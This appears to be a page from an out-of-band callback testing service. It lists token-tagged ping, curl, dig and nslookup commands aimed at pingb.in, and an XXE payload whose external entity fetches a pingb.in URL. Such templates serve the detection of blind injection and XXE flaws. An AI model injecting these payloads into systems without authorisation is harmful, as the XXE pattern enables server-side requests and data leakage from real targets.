$ ping -c1 -p 00b4b692246e6ab7c352413caa383a00 pingb.in
 

$ curl pingb.in/p/b4b692246e6ab7c352413caa383a
 

$ dig b4b692246e6ab7c352413caa383a @pingb.in
 

$ dig b4b692246e6ab7c352413caa383a.ns.pingb.in
 

C:\> nslookup b4b692246e6ab7c352413caa383a pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b4b692246e6ab7c352413caa383a">]>
    <foo>&xxe;</foo>